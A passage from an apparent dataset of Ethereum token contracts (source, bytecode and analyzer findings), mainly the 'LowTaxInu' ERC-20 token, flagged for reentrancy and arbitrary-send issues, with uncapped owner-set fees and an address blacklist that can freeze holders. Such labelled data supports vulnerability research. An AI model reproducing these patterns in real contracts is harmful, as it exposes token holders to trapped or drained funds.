06020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62602a836131a4565b9150612c6d826134cb565b604082019050919050565b6000612c856022836131a4565b9150612c908261351a565b604082019050919050565b6000612ca8601b836131a4565b9150612cb382613569565b602082019050919050565b6000612ccb601d836131a4565b9150612cd682613592565b602082019050919050565b6000612cee6021836131a4565b9150612cf9826135bb565b604082019050919050565b6000612d116020836131a4565b9150612d1c8261360a565b602082019050919050565b6000612d346029836131a4565b9150612d3f82613633565b604082019050919050565b6000612d576025836131a4565b9150612d6282613682565b604082019050919050565b6000612d7a6024836131a4565b9150612d85826136d1565b604082019050919050565b6000612d9d6017836131a4565b9150612da882613720565b602082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122008c57319f6c151380815ad9a4eef0662f85db0c32ce8572b4ee231854a4b249c64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,801 |
0x932420cce20898fdf9cb70c4ace1f9654a7cdcbf | /**
*/
//SPDX-License-Identifier: UNLICENSED
//TG: https://t.me/LowTaxInu
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LowTaxInu is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1000000 * 10**9;
string public constant name = unicode"LowTaxInu";
string public constant symbol = unicode"LowTaxInu";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 3;
uint public _sellFee = 8;
uint private _feeRate = 14;
uint public _maxBuyTokens;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (0 minutes)) > block.timestamp) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 20000 * 10**9;
_maxHeldTokens = 40000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0);
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function RestoreLimit(uint256 maxTxAmount, uint256 maxWallet) public onlyOwner {
_maxBuyTokens = maxTxAmount;
_maxHeldTokens = maxWallet;
}
} | 0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d578063a9059cbb116100a0578063c3c8cd801161006f578063c3c8cd8014610577578063c9567bf91461058c578063db92dbb6146105a1578063dcb0e0ad146105b6578063dd62ed3e146105d657600080fd5b8063a9059cbb146104f7578063ad5a4f3f14610517578063b2289c6214610537578063b515566a1461055757600080fd5b80638da5cb5b116100dc5780638da5cb5b146104a457806394b8d8f2146104c257806395d89b41146101fe5780639e78fb4f146104e257600080fd5b80636fc3eaec1461043a57806370a082311461044f578063715018a61461046f57806373f54a111461048457600080fd5b806331c2d8471161018557806345596e2e1161015457806345596e2e146103b657806349bd5a5e146103d6578063590f897e1461040e5780636755a4d01461042457600080fd5b806331c2d8471461033157806332d873d8146103515780633bbac5791461036757806340b9a54b146103a057600080fd5b80631940d020116101c15780631940d020146102bf57806323b872dd146102d557806327f3a72a146102f5578063313ce5671461030a57600080fd5b806306fdde03146101fe578063095ea7b3146102495780630b78f9c01461027957806318160ddd1461029b57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610233604051806040016040528060098152602001684c6f77546178496e7560b81b81525081565b6040516102409190611755565b60405180910390f35b34801561025557600080fd5b506102696102643660046117cf565b61061c565b6040519015158152602001610240565b34801561028557600080fd5b506102996102943660046117fb565b610632565b005b3480156102a757600080fd5b5066038d7ea4c680005b604051908152602001610240565b3480156102cb57600080fd5b506102b1600d5481565b3480156102e157600080fd5b506102696102f036600461181d565b6106ac565b34801561030157600080fd5b506102b1610700565b34801561031657600080fd5b5061031f600981565b60405160ff9091168152602001610240565b34801561033d57600080fd5b5061029961034c366004611874565b610710565b34801561035d57600080fd5b506102b1600e5481565b34801561037357600080fd5b50610269610382366004611939565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103ac57600080fd5b506102b160095481565b3480156103c257600080fd5b506102996103d1366004611956565b6107a6565b3480156103e257600080fd5b506008546103f6906001600160a01b031681565b6040516001600160a01b039091168152602001610240565b34801561041a57600080fd5b506102b1600a5481565b34801561043057600080fd5b506102b1600c5481565b34801561044657600080fd5b50610299610839565b34801561045b57600080fd5b506102b161046a366004611939565b610846565b34801561047b57600080fd5b50610299610861565b34801561049057600080fd5b5061029961049f366004611939565b6108d5565b3480156104b057600080fd5b506000546001600160a01b03166103f6565b3480156104ce57600080fd5b50600f546102699062010000900460ff1681565b3480156104ee57600080fd5b50610299610943565b34801561050357600080fd5b506102696105123660046117cf565b610b48565b34801561052357600080fd5b506102996105323660046117fb565b610b55565b34801561054357600080fd5b506007546103f6906001600160a01b031681565b34801561056357600080fd5b50610299610572366004611874565b610b8a565b34801561058357600080fd5b50610299610ca3565b34801561059857600080fd5b50610299610cb9565b3480156105ad57600080fd5b506102b1610eb2565b3480156105c257600080fd5b506102996105d136600461197d565b610eca565b3480156105e257600080fd5b506102b16105f136600461199a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610629338484610f47565b50600192915050565b6000546001600160a01b031633146106655760405162461bcd60e51b815260040161065c906119d3565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106b984848461106b565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106e8908490611a1e565b90506106f5853383610f47565b506001949350505050565b600061070b30610846565b905090565b6000546001600160a01b0316331461073a5760405162461bcd60e51b815260040161065c906119d3565b60005b81518110156107a25760006005600084848151811061075e5761075e611a35565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061079a81611a4b565b91505061073d565b5050565b6000546001600160a01b031633146107d05760405162461bcd60e51b815260040161065c906119d3565b6007546001600160a01b0316336001600160a01b0316146107f057600080fd5b600081116107fd57600080fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761084381611422565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461088b5760405162461bcd60e51b815260040161065c906119d3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146108f557600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161082e565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161065c906119d3565b600f5460ff16156109ba5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161065c565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610a1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a439190611a64565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a90573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab49190611a64565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b259190611a64565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b600061062933848461106b565b6000546001600160a01b03163314610b7f5760405162461bcd60e51b815260040161065c906119d3565b600c91909155600d55565b6000546001600160a01b03163314610bb45760405162461bcd60e51b815260040161065c906119d3565b60005b81518110156107a25760085482516001600160a01b0390911690839083908110610be357610be3611a35565b60200260200101516001600160a01b031614158015610c34575060065482516001600160a01b0390911690839083908110610c2057610c20611a35565b60200260200101516001600160a01b031614155b15610c9157600160056000848481518110610c5157610c51611a35565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c9b81611a4b565b915050610bb7565b6000610cae30610846565b90506108438161145c565b6000546001600160a01b03163314610ce35760405162461bcd60e51b815260040161065c906119d3565b600f5460ff1615610d305760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161065c565b600654610d4f9030906001600160a01b031666038d7ea4c68000610f47565b6006546001600160a01b031663f305d7194730610d6b81610846565b600080610d806000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610de8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e0d9190611a81565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e8a9190611aaf565b50600f805460ff1916600117905542600e556512309ce54000600c5565246139ca8000600d55565b60085460009061070b906001600160a01b0316610846565b6000546001600160a01b03163314610ef45760405162461bcd60e51b815260040161065c906119d3565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161082e565b6001600160a01b038316610fa95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161065c565b6001600160a01b03821661100a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161065c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561109157600080fd5b6001600160a01b0383166110f55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065c565b6001600160a01b0382166111575760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065c565b600081116111b95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161065c565b600080546001600160a01b038581169116148015906111e657506000546001600160a01b03848116911614155b156113c3576008546001600160a01b03858116911614801561121657506006546001600160a01b03848116911614155b801561123b57506001600160a01b03831660009081526004602052604090205460ff16155b156112dc57600f5460ff166112925760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161065c565b42600e5460006112a29190611acc565b11156112d857600c548211156112b757600080fd5b600d546112c384610846565b6112cd9084611acc565b11156112d857600080fd5b5060015b600f54610100900460ff161580156112f65750600f5460ff165b801561131057506008546001600160a01b03858116911614155b156113c357600061132030610846565b905080156113ac57600f5462010000900460ff16156113a357600b5460085460649190611355906001600160a01b0316610846565b61135f9190611ae4565b6113699190611b03565b8111156113a357600b546008546064919061138c906001600160a01b0316610846565b6113969190611ae4565b6113a09190611b03565b90505b6113ac8161145c565b4780156113bc576113bc47611422565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061140557506001600160a01b03841660009081526004602052604090205460ff165b1561140e575060005b61141b85858584866115d0565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107a2573d6000803e3d6000fd5b600f805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114a0576114a0611a35565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151d9190611a64565b8160018151811061153057611530611a35565b6001600160a01b0392831660209182029290920101526006546115569130911684610f47565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061158f908590600090869030904290600401611b25565b600060405180830381600087803b1580156115a957600080fd5b505af11580156115bd573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b60006115dc83836115f2565b90506115ea86868684611616565b505050505050565b600080831561160f57821561160a575060095461160f565b50600a545b9392505050565b60008061162384846116f3565b6001600160a01b038816600090815260026020526040902054919350915061164c908590611a1e565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461167c908390611acc565b6001600160a01b03861660009081526002602052604090205561169e81611727565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e391815260200190565b60405180910390a3505050505050565b6000808060646117038587611ae4565b61170d9190611b03565b9050600061171b8287611a1e565b96919550909350505050565b30600090815260026020526040902054611742908290611acc565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561178257858101830151858201604001528201611766565b81811115611794576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461084357600080fd5b80356117ca816117aa565b919050565b600080604083850312156117e257600080fd5b82356117ed816117aa565b946020939093013593505050565b6000806040838503121561180e57600080fd5b50508035926020909101359150565b60008060006060848603121561183257600080fd5b833561183d816117aa565b9250602084013561184d816117aa565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561188757600080fd5b823567ffffffffffffffff8082111561189f57600080fd5b818501915085601f8301126118b357600080fd5b8135818111156118c5576118c561185e565b8060051b604051601f19603f830116810181811085821117156118ea576118ea61185e565b60405291825284820192508381018501918883111561190857600080fd5b938501935b8285101561192d5761191e856117bf565b8452938501939285019261190d565b98975050505050505050565b60006020828403121561194b57600080fd5b813561160f816117aa565b60006020828403121561196857600080fd5b5035919050565b801515811461084357600080fd5b60006020828403121561198f57600080fd5b813561160f8161196f565b600080604083850312156119ad57600080fd5b82356119b8816117aa565b915060208301356119c8816117aa565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a3057611a30611a08565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611a5d57611a5d611a08565b5060010190565b600060208284031215611a7657600080fd5b815161160f816117aa565b600080600060608486031215611a9657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ac157600080fd5b815161160f8161196f565b60008219821115611adf57611adf611a08565b500190565b6000816000190483118215151615611afe57611afe611a08565b500290565b600082611b2057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b755784516001600160a01b031683529383019391830191600101611b50565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122052a217b78191c875a034a9a83e09d956547f8a5b00e43a3d7fc5f9cd9eb2d07464736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,802 |
0xb01f85db1d8cd9961cb016354afd7a676f932fe3 | pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'Poolin Miner Token' token contract
//
// Symbol : POOLIN
// Name : Poolin Miner Token
// Total supply: 2100000000
// Decimals : 18
//
// (c) poolin.com, 2018-07
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
